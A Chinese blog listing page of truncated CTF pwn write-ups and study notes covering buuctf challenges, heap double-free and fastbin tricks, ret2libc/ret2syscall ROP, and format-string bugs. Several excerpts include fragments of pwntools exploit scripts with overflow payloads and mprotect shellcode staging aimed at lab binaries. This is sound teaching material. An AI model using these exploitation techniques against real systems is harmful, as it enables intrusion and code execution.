- 博客(25)
- 收藏
- 关注
原创 pwnable_hacknote
IDA,F5main函数add_note 函数notelist是4字节。在源代码中,每个notelist[i]装的是新malloc的地址。*notelist指向这个地址的内容。*notelist[i]=print_note_content ,print_note_content又是4个字节。v1指针指向notelist[0]的内容,即新的malloc地址。那么*notelist内容就可以被分为v1[0]和v1[1]。v1[0]的内容是print_note_content返回值。v1[1]
2021-04-09 17:30:59
849
4
原创 buuctf——not_the_same_3dsctf_2016
这道题和前面分析过的get_started_3dsctf_2016差不多,换汤不换药。选择一个地址0x080EB000,用来装shellcode。这个地址要改成可执行的。使用mprotect函数改变。解题代码:from pwn import *#p=process("./not")p=remote("node3.buuoj.cn",29607)elf=ELF("./not")read=elf.symbols["read"]mprotect=elf.symbols["mprotect"]m
2021-03-26 10:14:17
549
1
原创 buuctf——ciscn_2019_n_8
查看权限开了好多权限查看源代码分析观察,var数组是int类型,在内存中占了4个字节。输入一个字符串,令var[13]处的值是17,且这个值占4个字节,就能拿到shell。var中每一个元素占4个字节,payload必须构造成"A"*13才能将前13个位置占满。第14个位置要求是4字节,就要用p64打包。解题代码from pwn import *#p=process("./ciscn")p=remote("node3.buuoj.cn",25337)payload=b'AAAA'*
2021-03-21 11:23:08
665
1
原创 get_started_3dsctf_2016 1
又是被暴击的一天。查看文件权限可以栈溢出,地址写死了。查看源程序还是个静态文件,首先想到可以使用Gadget。分析存在一个mprotect函数:#include <unistd.h>#include <sys/mmap.h>int mprotect(const void *start, size_t len, int prot);mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。prot代表着 r-w-x
2021-03-18 17:03:49
846
6
原创 pwn学习笔记(一)
ret2text:程序中提供了后门函数,自己复写返回地址为后门函数地址。.bss 、.data、.text三个段是elf文件在磁盘上本来就有的文件,进入到内存后仍然存在。PIE影响这三个部分。
2021-03-18 14:51:47
1719
原创 buuctf——[第五空间2019 决赛]PWN5 1
查看文件权限设置了canary,无法栈溢出。F5查看源程序源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。解题思路看到了printf,又加了canary权限,可以想到考查格式化字符串漏洞。可以更改0x804c044处的值,所以要精心构造一个合适的格式化字符串。构造的方法很多。在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。“AAAA”写在了第10个位子。构造:bss=0x804c044payload=b
2021-03-17 10:40:45
4822
11
原创 Ubuntu20安装pip3
wget https://bootstrap.pypa.io/get-pip.py得到get-pip.py文件后,接着执行:python3 get-pip.py
2021-03-16 19:12:55
746
原创 buuctf刷题——[OGeek2019]babyrop 1
好久好久没做ctf题了,今天得空刷刷buuctf,emm,发现好多都忘了。????????????查看权限不能利用shellcode,但可以构造栈溢出。查看源程序为了方便区分,重命名了下函数。open函数的返回值:如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;文件描述符:0,1,2是标准IO输入/输出/错误输出给占用了,当文件open成功了,会返回数值3;read(fd,&buf,4u)是把fd所指向的随机数写入到buf文件中,长度是4个字节。 此时,buf是
2021-03-14 17:24:32
3962
9
原创 堆学习——fastbin_dup_into_stack
前面写了double free实现,现在写double free的升级篇,#include <stdio.h>#include <stdlib.h>int main(){ fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n" "returning a pointer to a controlled location (in this case, the
2021-03-13 10:42:18
524
原创 堆学习——Double Free
Double Free,内容如其名,同一个内存块被释放两次。示例代码#include <stdio.h>#include <stdlib.h>#include <assert.h>int main(){ fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n"); // 分配三个chunk:a、b、c。
2021-03-10 16:57:19
2846
原创 安装不同glibc版本 堆实验
在做堆实验时,不同的二进制文件对glibc版本要求很高。过高的glibc没法调试程序,下面安装不同版本的glibc下载工具patchelfgit clone https://github.com/NixOS/patchelfglibc-all-in_onegit clone https://github.com/matrix1001/glibc-all-in-oneglibc-all-in_one$ ./update_list #更新最新版本的glibc$ cat l
2021-03-09 20:03:06
5204
原创 ubuntu20 为python2安装pip
今天做堆实验发现自己的python2没有安装pip。我看网上给的说法都是:curl https://bootstrap.pypa.io/get-pip.py --output get-pip.py但是。。可能时间长了有变动吧。不能用。。。== 尝试以下,亲测可用: ==wget https://bootstrap.pypa.io/pip/2.7/get-pip.py再:sudo python2 get-pip.py就成功啦!...
2021-03-09 19:19:07
1148
原创 pwn——x64下的格式化字符串
x64和x86在格式化字符串传参上稍有不同,原因在于x64会把printf函数中的参数先传到6个寄存器中。下面以一道例题说明。链接:https://pan.baidu.com/s/1fgg6HRr__08fW1P0HgmaKA提取码:1111二进制文件拖入IDA并F5代码吧啦吧啦一大堆,实际上就是让你猜一个flag和真正的flag比对,比对正确会给你flag。= =我要是都知道flag还要你的flag干嘛?!gdb调试断点断在_isoc99_scanf处,输入AAAA。调试到printf时,查
2021-02-16 17:50:58
605
1
原创 ret2text涉及到的堆栈平衡问题
这个指令要求rsp+0x40的值是16字节对齐。错误的题解:from pwn import *io=process("./level0")raw_input()elf=ELF("./level0")system_addr=0x400596io.recvuntil(b"World\n")payload=b"A"*(0x88)+p64(system_addr)io.send(payload)io.interactive()$rsp+0x40没有16字节对齐。正确的题解:fro.
2021-01-04 10:35:28
4806
5
原创 ret2libc续(一)——地址泄漏
思路libc文件本来存在于磁盘上,当程序执行时会被载入到虚拟内存中,由于ASLR开着(远程主机),libc的地址会变动,但是libc中函数之间的偏移关系是不变的。
2020-12-30 10:39:57
1892
原创 docker布题
之前练习pwn题的时候,发现原题的地址和端口已经关闭无效了,想到了在本机上模拟远程机,实现攻击。需要用到的文件:链接:https://pan.baidu.com/s/1ZAQ3JM54-47sGEjhdbPioQ提取码:6jy4复制这段内容后打开百度网盘手机App,操作更方便哦–来自百度网盘超级会员V4的分享...
2020-12-09 17:49:06
386
原创 ret2stack
#include<stdio.h>int main(){ setbuf(stdin,0); setbuf(stdout,0); char str[100]; printf("%p",&str); gets(str); return 0;}查看权限gcc -fno-stack-protector -z execstack -no-pie -o debug debug.c思路由于NX关闭,所以可以构造shellcode...
2020-11-03 15:17:18
323
原创 r0pbaby——ret2libc
解题思路使用libc.so.6获取里面的system和/bin/sh地址先查看libc.so.6:libc.so.6是libc-2.27.so的软链接,需要把libc-2.27.so拷出来。把libc-2.27.so拖到IDA中,在左侧窗口中任意单击一个函数,快捷键ctrl+f,输入system,查看其地址。快捷键shift+f12调出字符串窗口,单击任意处按快捷键ctrl+f,输入/bin/sh,获得地址。栈图如图,当rsp指向pop rax;pop rdi;call rax时,ri
2020-10-09 10:03:30
512
原创 ROPgadget题型——ret2syscall
解题思路这道题本来考虑使用libc来解,但发现不是动态链接形成的文件。于是,考虑如下系统调用获取shell:execve("/bin/sh",NULL,NULL)在32位程序中,参数一般是放在栈中的,但系统调用例外,参数是放在通用寄存器中的。即eax,ebx,ecx,edx。eax:存放系统调用号,0xbebx:存放第一个参数/bin/sh地址ecx:存放第二个参数0edx:存放第三个参数0下面就是想办法把几个参数和调用号“弹到”寄存器上:找到pop edx;pop ecx;pop e
2020-10-09 10:01:40
712
原创 ciscn_2019_c_1 1
payload构造此题和之前总结的ret2libc题型相似,但是那个题是32位的,而此题是64位的。因此,payload的构造方式不一样。payload1此时的esp正处于函数返回的状态,即从上往下走。在64位中,有rdi,rsi,rdx,rcx,r8,r9几个寄存器保存参数。当esp指向pop rdi ;ret时,rip指向puts_got,puts_got所保存的真实地址就能弹到rdi上。以上是准备参数。再往下就是是固定格式“函数地址+返回地址+参数”的体现:利用puts_plt作为函数地
2020-10-06 17:39:53
4478
9
原创 ret2libc pwn
查看栈保护F5查看源代码看见gets函数,立刻想到是栈溢出题型,但是此题并未提供system("/bin/sh")函数。而程序运行的时候会调用libc.so,它包含了system()等函数,因此可以根据这个特性构造system("/bin/sh")。判断覆盖量查找system()的地址objdump -d -j .plt ./ret查找/bin/sh的地址编写脚本from pwn import *p=process('./ret')system_addr=0x08048460
2020-09-27 17:39:26
936
2
原创 BUUCTF—ciscn_2019_n_1 1
这道题是栈溢出题型,又不同于一般的栈溢出,在此做个总结。查看权限拖入IDA,F5可用函数解题思路:这道题的意思是输入字符串v1,判断v2。考虑输入长字符串覆盖到存储v2的内存空间,把v2的值改掉。因此,覆盖0x30-0x4=44个字节给v1,另外4个字节给v2由于v2数值在内存中以16进制存储,所以,找到11.28125的16进制值。存在两个比较指令,双击进去。0x41348000就是16进制的11.28125。编写脚本from pwn import *p=remote('
2020-09-24 21:54:03
4667
3
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人